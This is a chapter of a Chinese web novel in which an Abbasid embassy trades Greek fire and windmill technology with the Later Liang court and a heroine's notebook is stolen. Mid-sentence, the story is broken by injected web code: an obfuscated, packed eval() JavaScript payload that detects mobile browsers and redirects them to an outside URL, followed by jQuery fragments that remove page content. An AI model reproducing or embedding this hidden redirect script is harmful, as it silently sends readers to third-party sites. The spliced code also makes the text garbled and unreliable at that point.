第十六章：西域来客


    腊月初八，雪刚停，一队骆驼踩着咯吱响的积雪进了洛阳城。


    四十多号人，高鼻深目裹得跟粽子似的，骆驼背上货物捆得严严实实。最扎眼的是中间几辆大车，油布裹得密不透风，车轮在雪地上压出老深的印子。


    “大食人？”黄梦霞趴在机巧院二楼窗户边，“这大冷天的，跑咱们这儿来串门？”


    梁若淳正对着一叠火炮改进图皱眉，头也不抬：“说是带了‘希腊火’来。”


    “希腊火？”李齐伟放下算盘，“史书上说那玩意儿水浇不灭，拜占庭靠它守君士坦丁堡。大食人竟搞到手了？”


    “去看看就知道了。”梁若淳起身，“陛下召我进宫，一起会会这伙人。”


    紫宸殿里炭火烧得旺。大食使团头领叫阿卜杜勒，络腮胡浓密得能藏只鸟，汉语说得一卡一卡的：


    “尊贵的皇帝陛下，我奉哈里发之命，带来友谊和……技术。”


    他一挥手，俩随从抬上个铜家伙——像个超大号铜壶，壶嘴细长，带把手和压杆。


    “此乃希腊火喷射器。”阿卜杜勒比划，“内装特制火油，按这儿，能喷三丈火蛇，水浇不灭。”


    请求殿外演示。皇帝准了，众臣挪步广场。


    阿卜杜勒亲自操作。压杆一按，壶嘴“噗”地喷出股黏糊液体，遇风就燃，化作一条火蛇直扑十步外的雪堆。火焰在雪上烧得噼啪响，真个水泼不灭，直到烧光为止。


    朝臣们看得眼都直了。兵部尚书杨威将军脸白得像纸——这要喷到步兵阵里，不成烤肉串了？


    “好火！”郑王捋胡子，“但造价几何？能造多少？”


    阿卜杜勒笑：“造价不菲。但若贵国愿换一项技术……我们可以给配方和制法。”


    “换什么？”


    “乌金石炼钢法。”


    殿里瞬间安静。所有人齐刷刷看向梁若淳。


    梁若淳缓步上前，行礼后问：“阿卜杜勒阁下，希腊火能打多远？能攻城不？”


    “这……”阿卜杜勒迟疑，“喷三丈是极限。攻城得靠近。”


    “我后梁火炮，能打三百步。”梁若淳平静道，“论技术价值，乌金石炼钢法能造炮、造甲、造刀，用处广。希腊火虽奇，用途单一。以广换单，怕是不等价。”


    阿卜杜勒身后一年轻人突然开口，汉语溜得惊人：“梁大人此言差矣。希腊火之秘在配方。配方可改良，可衍生。若得乌金石炼钢法配合，造出远程喷火车，岂不两全？”


    梁若淳打量这人。二十出头，长相跟一般大食人略不同，眼窝更深，鼻梁更高，倒有点像……希腊人？


    “阁下是？”


    “在下优素福，来自巴格达智慧宫。”年轻人优雅行礼，“对东方技术，心向往之。”


    智慧宫——梁若淳知道这地方。大食帝国的学术中心，聚集各国学者，翻译研究古希腊、波斯、印度典籍。


    “优素福先生既来自智慧宫，当知技术交换需诚意。”梁若淳说，“乌金石炼钢法是后梁核心技术，若只换一个希腊火配方，未免……”


    “再加一项。”阿卜杜勒接话，“我们可传‘风车磨坊’技术，此物于贵国北方干旱之地，大有益处。”


    风车技术！梁若淳心中一动。这正是她想要却一直没搞定的。后梁水车虽好，北方缺水用不上。若有风车……


    “容朕考虑三日。”皇帝开口，“使团先往驿馆休息。梁爱卿，你与工部、兵部商议，三日后给朕答复。”


    退朝后，梁若淳被官员们围住。兵部尚书力主交换：“希腊火若用于守城，威力无穷！乌金石炼钢法虽好，但契丹已有火炮，优势不再！”


    工部王侍郎反对：“炼钢法乃国本，岂能轻易予人？况大食与我国远隔万里，若此技术经他们传到西域诸国，乃至契丹……”


    “契丹已有火炮，还在乎炼钢法吗？”礼部尚书反问。


    梁若淳听着各方吵吵，忽然问：“诸位可曾想过，大食人如何知我们有乌金石炼钢法？又为何单要这项？”


    殿里安静下来。


    “天下工匠大会才过三月，消息就传到万里外的大食？”梁若淳缓缓道，“而且他们指名换炼钢法，不要火炮制法，不要水车技术……为何偏偏是炼钢法？”


    白子理若有所思：“梁大人是说……他们另有目的？”


    “阿卜杜勒或许是冲技术来的。”梁若淳压低声音，“但那个优素福……他看我的眼神，不像看官员，倒像看……一本书。”


    “书？”


    “李淳风古籍。”


    梁若淳当晚翻古籍到深夜。她注意到，记“霹雳火球”那页边缘，有几个极小异域文字。之前以为是污渍，现在细看，像是……阿拉伯文？


    叫来唐显辨认。唐显对着油灯看半天，摇头：“看不懂。但确实不像汉字。”


    “优素福来自智慧宫，智慧宫收藏各国典籍……”梁若淳喃喃，“若李淳风技术曾传西域，智慧宫很可能有记载。他们这次来，或许不只为炼钢法……”


    次日，她请单独会优素福。会面安排在机巧院藏书阁。


    优素福如约而至。今日换了身汉式儒衫，看着不伦不类，但举止从容。


    “梁大人这藏书阁，令人叹为观止。”他环视满墙书架，“我原以为东方重文轻技，看来并非如此。”


    “优素福先生对技术很感兴趣？”梁若淳示意他坐。


    “智慧宫格言：‘求知，哪怕远在中国’。”优素福微笑，“我自幼读希腊先贤著作，读印度算学，也读……一些来自东方的残卷。”


    他顿了顿：“其中一批残卷，据说是唐代李淳风所著。可惜损毁严重，只剩片段。”


    果然！梁若淳心中震动，表面平静：“李先生是天文历法大家，著作传西域也不奇。”


    “不只是天文历法。”优素福目光炯炯，“那些残卷中，有‘蒸汽’‘火药’‘机械’记载。虽然残缺，但理念先进，令人震惊。我一直想，若能找到完整版……”


    “所以你们来换炼钢法，其实想借机找李淳风完整著作？”


    优素福笑了：“梁大人敏锐。实不相瞒，我们得知后梁近年技术突飞猛进，尤其是一位女子官员主导多项革新。这让我们想到……李淳风残卷中曾提，他晚年将毕生所学录于一书，托付可信之人。我们疑，这书可能还在中原。”


    梁若淳沉默。她不确定该信多少。


    “如果，”她缓缓开口，“如果我们愿有限度分享乌金石炼钢法，你们能给什么？”


    “希腊火配方，风车技术，还有……”优素福从怀中取出一卷羊皮纸，“这是我们从拜占庭得的‘希腊机械’图录，内有阿基米德螺旋泵、投石机改进等十几种机械图纸。”


    梁若淳接过羊皮纸展开。图纸精细，标注虽是她不懂的文字，但机械结构一目了然。其中一种螺旋泵，正是她苦思不得的抽水装置。


    “我需要与陛下商议。”


    三日期限到，朝堂再议。


    梁若淳提折中方案：以乌金石炼钢法的“应用技术”换希腊火配方和风车技术，不涉核心冶炼工艺。同时双方建长期技术交流机制，大食每年派学者来后梁学，后梁也可派人去智慧宫交流。


    “这等于没换！”兵部尚书不满。


    “不。”梁若淳解释，“应用技术指用乌金石钢造具体器物——刀剑、农具、机械零件的方法。大食人得这些，可造好器具，但造不出新钢材。核心冶炼配比、温度控制、工艺细节，我们保留。”


    她看皇帝：“陛下，技术如水，堵不如疏。与其严防死守，不如有控交流。我们得希腊火、风车、西方机械，他们得好钢制造术。双方各取所需，且我们始终领先一步。”


    郑王点头：“此言有理。况契丹火炮威胁在前，希腊火确是守城利器。”


    皇帝最终准奏。交换仪式定五日后。


    然而就在交换前夜，出事了。


    机巧院藏书阁失窃。丢的不是古籍，不是图纸，是……梁若淳的工作笔记。


    “笔记？”郑管事不解，“那玩意儿有人偷？”


    梁若淳却脸色大变。那本笔记里，有她对李淳风古籍批注，有她对现代技术的理解，还有……她凭记忆画的简单机械草图。


    “追！必须追回！”


    全城搜一夜，无果。次日清晨，守城士兵在城墙下发现一具尸体——正是那日冒充悦来客栈伙计的“王五”，左脸那颗痣还在。人已死透，身上无任何物品。


    “灭口。”白子理脸色凝重，“看来有人不想让我们查下去。”


    梁若淳心乱如麻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158276|196456||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。但她不能表露，因交换仪式就在今日。


    仪式在皇宫举行。双方签文书，换技术资料。阿卜杜勒交希腊火配方时，特意提醒：“此火凶猛，配制需慎。另有一事——配方中有一味‘黑油’，产于西域，中原难寻。我可提供一年用量，之后需贵国自寻替代。”


    梁若淳接配方细看。主要成分是石油、硫磺、石灰、还有几种她不认识的树脂。的确，中原石油稀少。


    “多谢提醒。”


    优素福则亲自演示风车模型。那是个精巧木质风车，叶片角度可调，带齿轮组转动。“此设计源自波斯，经希腊学者改进。若放大建造，可提水、磨面、甚至……驱动机器。”


    他看梁若淳，意味深长：“梁大人，技术无国界，但学者有故乡。我希望，这只是我们合作的开始。”


    仪式结束当晚，梁若淳秘密会优素福。


    “优素福先生，有件事想请教。”她开门见山，“李淳风古籍，智慧宫到底掌握多少？”


    优素福沉默片刻：“大概……三成。且都是基础理论。我们一直疑，完整版在中原。见后梁近年技术发展，更确信这一点。”


    “如果，”梁若淳试探，“如果我能提供些李淳风补充资料，智慧宫能否帮我们查一事？”


    “何事？”


    “查契丹火炮技术，到底从何而来。”梁若淳压低声音，“我怀疑，契丹可能也从某渠道，得了李淳风技术残卷。”


    优素福眼一亮：“这交易，我感兴趣。智慧宫在西域、草原都有眼线。不过……”他顿了顿，“梁大人手里，真有李淳风完整资料？”


    梁若淳取出几页纸——那是她凭记忆默写的部分现代机械原理，但伪托李淳风之名。


    “这些，够不？”


    优素福细读，越看越激动：“精妙！太精妙了！这杠杆齿轮组合……这传动系统设计……果然是李淳风风格！”


    他抬头郑重道：“我会禀报哈里发，全力追查契丹技术来源。作为回报，智慧宫愿与后梁建立长期技术交流。”


    “还有一个条件。”梁若淳说，“我丢了一本工作笔记，里面有重要内容。若智慧宫在西域听说相关消息……”


    “一定告知。”


    优素福离开后，梁若淳站窗前，望漫天星斗。


    她知道自己在冒险。但面对契丹威胁，面对技术扩散，单打独斗已不够。她需要盟友，需要信息网，需要更广视野。


    而智慧宫，或许就是这桥梁。


    “梁姑娘。”白子理推门进来，“城外来报，发现可疑车队往西去了，带几个大箱子。要不要追？”


    梁若淳摇头：“让他们走。”


    “为什么？”


    “因箱子里装的，可能只是石头。”梁若淳苦笑，“真正想要的，他们可能已到手。或者……根本没想偷，只是想确认是否存在。”


    白子理不解。


    “我的工作笔记，可能只是个幌子。”梁若淳解释，“有人想看看，我到底知多少，知识到底从何来。若我反应激烈拼命追查，就等于告诉他们：我很在乎，笔记很重要。”


    她转身：“所以我不追。让他们猜去。”


    腊月二十，大食使团离京。临行前，优素福悄悄交梁若淳一个小铜匣。


    “这是智慧宫密信匣。若有急事，将信放入，合盖即锁，只有对应钥匙能开。我会留人在洛阳，定期联络。”


    梁若淳收下：“一路平安。”


    雪又下了，覆盖车队辙印。


    梁若淳回机巧院，开始研究希腊火配方。她发现，其中一种树脂，中原虽无，但可用松脂加硫磺替代，效果稍差但可用。


    而风车技术，让她看到北方旱地新希望。


    “开春就造风车。”她对李齐伟说，“先在黄河边试建三座，提水灌溉。若成，推广全境。”


    “那火炮呢？”郑管事问，“契丹还在黄河北岸呢。”


    “继续改进。”梁若淳说，“而且……我们要造一种新炮，能发射希腊火炮弹。”


    她摊开图纸，开始设计新型火炮——炮管加厚，内壁光滑，专射装希腊火的陶罐炮弹。


    窗外，雪越下越大。


    但梁若淳知道，风雪之下，暗流从未停息。


    而她必须在这暗流中，为后梁找到生路。